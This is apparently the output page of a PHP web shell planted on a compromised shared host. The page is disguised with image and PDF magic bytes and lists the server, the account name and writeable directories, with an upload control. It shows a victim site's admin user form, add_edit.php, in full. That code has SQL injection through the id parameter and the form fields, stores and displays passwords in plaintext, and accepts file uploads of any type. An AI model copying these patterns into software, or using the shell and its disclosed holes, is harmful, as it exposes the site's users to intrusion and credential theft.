%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_93b53270/admin/manage_user/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_93b53270/admin/manage_user/add_edit.php
<?php 
// error_reporting(0);
include("../function.php");
if($_SESSION['admin_id']==""){
header('location:../login.php');
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
}
$login_tbl=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM admin WHERE admin_id='".$_SESSION['admin_id']."'"));

// Sidebar strat
include('../include/sidebar.php');
// Sidebar wrap
$id=$_GET['id'];
?>

<!-- [ Main Content ] start -->
<section class="pcoded-main-container">
    <div class="pcoded-content">
        <!-- [ breadcrumb ] start -->
        <div class="page-header">
            <div class="page-block">
                <div class="row align-items-center">
                    <div class="col-md-12">
                        <div class="page-header-title">

 <div class="card-header d-flex justify-content-between">
<button class="btn btn-dark text-light fw-bold btn-sm btn-round has-ripple"><i class="feather icon-edit"></i>&nbsp; Add | Edit | Users </button>
</div>
                        </div>
                     
                    </div>
                </div>
            </div>
        </div>
        <!-- [ breadcrumb ] end -->
        <!-- [ Main Content ] start -->

        
<style type="text/css">

.multiselect {
/*    width: 256px;*/
    margin-top: 5px;
    margin-left: 9px;
    margin-bottom: 18px;
}

.selectBox {
  position: relative;
}

.selectBox select {
  width: 100%;
  padding: 10px;
  /*font-weight: bold;*/
}

.overSelect {
  position: absolute;
  left: 0;
  right: 0;
  top: 0;
  bottom: 0;
}

#checkboxes  {
  display: none;
  border: 1px #dadada solid;
   max-height: 150px; /* Set maximum height for the checkboxes */
    overflow-y: auto;
}

#checkboxes label {
  display: block;
}

#checkboxes label:hover {
  background-color: #f2cbd9;
}   


#coupon_checkboxes {
  display: none;
  border: 1px #dadada solid;
  max-height: 150px; /* Set maximum height for the checkboxes */
  overflow-y: auto;
}

#coupon_checkboxes label {
  display: block;
}

#coupon_checkboxes label:hover {
  background-color: #f2cbd9;
}

#coupons_search {
  width: 100%;
  box-sizing: border-box;
  padding: 8px;
  margin-bottom: 10px;
  border: 1px solid #ccc;
} 

</style>

<!-- Include Select2 CSS and JS -->
<link href="https://cdn.jsdelivr.net/npm/select2@4.1.0-beta.1/dist/css/select2.min.css" rel="stylesheet" />
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/select2@4.1.0-beta.1/dist/js/select2.min.js"></script>

<style>
    .select2-container .select2-selection--single{ height:40px !important; }
    .select2-container--default .select2-selection--single .select2-selection__rendered{ line-height:40px !important; }
    .select2-container--default .select2-selection--single .select2-selection__arrow{ height:40px !important; }
    .select2-container--default .select2-selection--single{ border:none; background:#f6f5f5 !important; }
    .select2.select2-container.select2-container--default.select2-container--above.select2-container--focus{ width: 100px !important; }
</style>

        
<div class="row">

<div class="col-md-12">
<div class="card">
<!-- <div class="card-header d-flex justify-content-between">
</div> -->
<div class="card-body">
<?php if(isset($_SESSION['otp_message'])){
echo '<div class="alert alert-success alert-dismissible fade show" role="alert">
<strong class="text-dark">'.$_SESSION['otp_message'].'</strong> 
<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close">
</button>
</div>';
}
unset($_SESSION['otp_message']); 
?> 
<?php 
$fetQuery=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM user_tbl WHERE id='$id'"));  
?>
                      
<form method="post" action="" enctype="multipart/form-data" autocomplete="off">                       
<div class="row">

<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Name">Name</label>
<input type="text" name="name"  class="form-control" value="<?php if($id!=''){echo $fetQuery['name'];} ?>">
</div>
</div>

<!-- <div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Name">Name Arabic</label>
<input type="text" name="name_ar" class="form-control" value="<?php if($id!=''){echo $fetQuery['name_ar'];} ?>">
</div>
</div> -->

<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Email">Email</label>
<input type="email" name="email" class="form-control" value="<?php if($id!=''){echo $fetQuery['email'];} ?>">
</div>
</div>


<div class="col-md-4">
    <div class="form-group">
        <label class="form-label">Mobile Number</label>
        <div class="flex-country d-flex pro">
            <div>
                <select class="form-control select2" name="phonecode" required style="width:90px;">
                    <?php $mycont = mysqli_query($conn, "SELECT * FROM `countries`");
                    while ($fet_cont = mysqli_fetch_array($mycont)) { ?>
                    <option value="<?=$fet_cont['id']?>" <?=($fet_cont['id']==$fetQuery['phonecode'])?'selected':''?>>+<?=$fet_cont['phonecode']?></option>
                    <?php } ?>
                </select>
            </div>
            <div>
                <input type="number" name="phone" value="<?=$fetQuery['mobile_number']?>" placeholder="Mobile Number" class="form-control mb-3">
            </div>
        </div>
    </div>
</div>


<div class="col-md-4">
<div class="form-group">
<label class="form-label" for="DOB">Date Of Birth</label>
<input type="date" name="DOB" class="form-control" value="<?php if($id!=''){echo $fetQuery['DOB'];} ?>">
</div>
</div>

<div class="col-md-4">
<div class="form-group">
<label class="form-label" for="Password">Password</label>
<input type="text" name="password" class="form-control" value="<?php if($id!=''){echo $fetQuery['password'];} ?>">
</div>
</div>


<!-- Coupons start --->

<div class="col-md-4">
  <div class="multiselect">
    <label class="form-label" for="Coupons">Coupons</label>
    <div class="selectBox" onclick="showcouponCheckboxes()">
      <select id="coupon_select">
        <option>Select Coupons</option>
      </select>
      <div class="overSelect"></div>
    </div>

    <div id="coupon_checkboxes" style="display: none;">
      <input type="text" id="coupons_search" onkeyup="filtercoupon()" placeholder="Search Coupons ...">

      <!-- Select All Checkbox -->
      <label for="coupon_select_all" style="font-size: 15px; padding: 10px;">
        <input type="checkbox" id="coupon_select_all" class="mx-2" onchange="toggleSelectAllCoupons(this)">Select All
      </label>

      <?php
      $brandQuery = mysqli_query($conn, "SELECT * FROM coupon_tbl WHERE status=1");
      while ($row = mysqli_fetch_array($brandQuery)) {
        $coupon_ids = explode(',', $fetQuery['coupon_id']);
        $checked = in_array($row['id'], $coupon_ids) ? "checked" : "";
      ?>
        <label for="coupon<?= $row['id'] ?>" style="font-size: 15px; padding: 10px;">
          <input type="checkbox" id="coupon<?= $row['id'] ?>" value="<?= $row['id'] ?>" data-coupon_id="<?= $row['id'] ?>" class="mx-2 coupon_item" name="coupon_id[]" onchange="updatecouponSelectBox();" <?= $checked ?> /><?= $row['coupon'] ?>
        </label>
      <?php } ?>
    </div>
  </div>
</div>

<!-- Coupons ends --->

<div class="col-md-4">
<div class="form-group">
<label class="form-label" for="Image">Image</label>
<input type="file" name="image1" class="form-control"> 
</div>

<?php 
if (!empty($id)) { 

$userImage = 'user_icon.png'; 
$imageFolder = '../../images/Upload/user/';
$imageName = $fetQuery['image1'] ?? '';

if (!empty($imageName) && file_exists($imageFolder . $imageName)) {
    $userImage = $imageName;
}

$imagePath =$imageFolder . $userImage;
?>

<img src="<?= $imagePath ?>" style="width: 120px; height: 100px;">
<?php } ?>
</div>

<div class="col-md-4">
<div class="form-group">
<label class="form-label" for="status">Status</label>
<select class="form-select" name="status" required>
<option value="">Please select status</option>
<option value="1" <?=($fetQuery['status']=='1')?'selected':'';?>>Show</option>
<option value="0" <?=($fetQuery['status']=='0')?'selected':'';?>>Hide</option>
</select>
</div>
</div>

</div>

<div class="row">
<div class="col-md-6">
<?php 
if(($id!='')){
    echo'<input type="submit" name="update" class="btn btn-success" value="Update">';
}else{
  echo'<input type="submit" name="add" class="btn btn-success" value="Add">';   
}
?>

<button  class="btn btn-dark"><a class="text-white" href="show.php?page=users">Back</a></button>

</div>
</div>

                     
 </form>                      
                       
                       
</div>
</div>
</div>
            
<!-- [ form-element ] end -->
</div>
<!-- [ Main Content ] end -->
</div>
</section>



<?php include('../include/footer.php'); ?>

 <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/select2@4.1.0-beta.1/dist/js/select2.min.js"></script>
    <script>
      $(document).ready(function() {
        $('.select2').select2();
      });
    </script>

<script>
function updatecouponSelectBox() {
    var checkboxes = document.querySelectorAll('input[name="coupon_id[]"]:checked');
    var selectBox = document.getElementById("coupon_select");
    if (checkboxes.length > 0) {
        selectBox.options[0].text = checkboxes.length + " selected";
    } else {
        selectBox.options[0].text = "Select Coupons";
    }

    // Update "Select All" checkbox state dynamically
    var allCheckboxes = document.querySelectorAll('input[name="coupon_id[]"]');
    var selectAll = document.getElementById("coupon_select_all");
    selectAll.checked = (checkboxes.length === allCheckboxes.length);
}

document.addEventListener("DOMContentLoaded", function() {
    updatecouponSelectBox();
});

var brand_expanded = false;
function showcouponCheckboxes() {
    var checkboxes = document.getElementById("coupon_checkboxes");
    checkboxes.style.display = brand_expanded ? "none" : "block";
    brand_expanded = !brand_expanded;
}

function filterBrand() {
    var input = document.getElementById("coupons_search");
    var filter = input.value.toLowerCase();
    var labels = document.getElementById("coupon_checkboxes").getElementsByTagName("label");
    for (var i = 0; i < labels.length; i++) {
        var text = labels[i].textContent || labels[i].innerText;
        labels[i].style.display = text.toLowerCase().indexOf(filter) > -1 ? "" : "none";
    }
}

// ✅ FIXED FUNCTION — handles Select All toggle
function toggleSelectAllCoupons(selectAllCheckbox) {
    var checkboxes = document.querySelectorAll('input[name="coupon_id[]"]');
    checkboxes.forEach(function(checkbox) {
        checkbox.checked = selectAllCheckbox.checked;
    });
    updatecouponSelectBox();

    // 🔥 Trigger change event so AJAX runs too
    $(".coupon_item").trigger("change");
}
</script>


<!-- Insert data start --->
<?php
if(isset($_POST['add'])){

$name=$_POST['name'];
$name=str_replace("'", "\'", $name);
// $name_ar=$_POST['name_ar'];
// $name_ar=str_replace("'", "\'", $name_ar);
$coupon_ids = isset($_POST['coupon_id']) ? implode(",", $_POST['coupon_id']) : '';
$phonecode=$_POST['phonecode'];
$phone=$_POST['phone'];
$email=$_POST['email'];
$DOB=$_POST['DOB'];
$password=$_POST['password'];
$password=str_replace("'", "\'", $password);
$slug=create_url($name);
$status=$_POST['status'];

$file_name = $_FILES['image1']['name'];
$file_tmp = $_FILES['image1']['tmp_name'];
$file_ext = strtolower(end(explode('.',$file_name)));

$random_number = rand(111111111, 999999999);
$new_file_name = $random_number . '.' . $file_ext;
$file_path = "../../images/Upload/users/" . $new_file_name;

move_uploaded_file($file_tmp, $file_path);

$addQry=mysqli_query($conn,"INSERT `user_tbl` SET

`name`='$name',
-- `name_ar`='$name_ar',
`coupon_id`='$coupon_ids',
`phonecode`='$phonecode',
`mobile_number`='$phone',
`email`='$email',
`DOB`='$DOB',
`password`='$password',
`image1`='$new_file_name',
`slug`='$slug',  
`type`='User',  
`status`='$status'")or die(mysqli_error($conn));

$ido=mysqli_insert_id($conn);
$slug1=$slug.$ido;
mysqli_query($conn,"UPDATE `user_tbl` SET `slug`='$slug1' WHERE id='$ido'");

if($addQry){
echo "<script>window.location='show.php?page=users';</script>";
$_SESSION['message']="Record Added successfully";
}


   }

?>
<!-- Insert data warp --->

<!-- Update data start --->
<?php
if(isset($_POST['update'])){

$name=$_POST['name'];
$name=str_replace("'", "\'", $name);
// $name_ar=$_POST['name_ar'];
// $name_ar=str_replace("'", "\'", $name_ar);
$coupon_ids = isset($_POST['coupon_id']) ? implode(",", $_POST['coupon_id']) : '';
$phonecode=$_POST['phonecode'];
$phone=$_POST['phone'];
$email=$_POST['email'];
$DOB=$_POST['DOB'];
$password=$_POST['password'];
$password=str_replace("'", "\'", $password);
$slug=create_url($name).$id;
$status=$_POST['status'];

$file_name = $_FILES['image1']['name'];
$file_tmp = $_FILES['image1']['tmp_name'];
$file_ext = strtolower(end(explode('.',$file_name)));

if(!empty($file_name)){
$random_number = rand(111111111, 999999999);
$new_file_name = $random_number . '.' . $file_ext;
$file_path = "../../images/Upload/users/" . $new_file_name;
$dl=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM `user_tbl` WHERE id='$id'"));
    if($dl)
    {
        unlink('../../images/Upload/users/'.$dl['image1']);
    }
move_uploaded_file($file_tmp, $file_path);
mysqli_query($conn,"UPDATE `user_tbl` SET `image1`='$new_file_name' WHERE id='$id'"); 
}


$editQry=mysqli_query($conn,"UPDATE `user_tbl` SET  
`name`='$name',
-- `name_ar`='$name_ar',
`coupon_id`='$coupon_ids',
`phonecode`='$phonecode',
`mobile_number`='$phone',
`email`='$email',
`DOB`='$DOB',
`password`='$password',
`slug`='$slug',
`type`='User', 
`status`='$status' WHERE id='$id'")or die(mysqli_error($conn)); 
if($editQry){
echo "<script>window.location='show.php?page=users';</script>";
$_SESSION['message']="Record Updated successfully";
}
}

?>
<!-- Update data warp --->

VaKeR 2022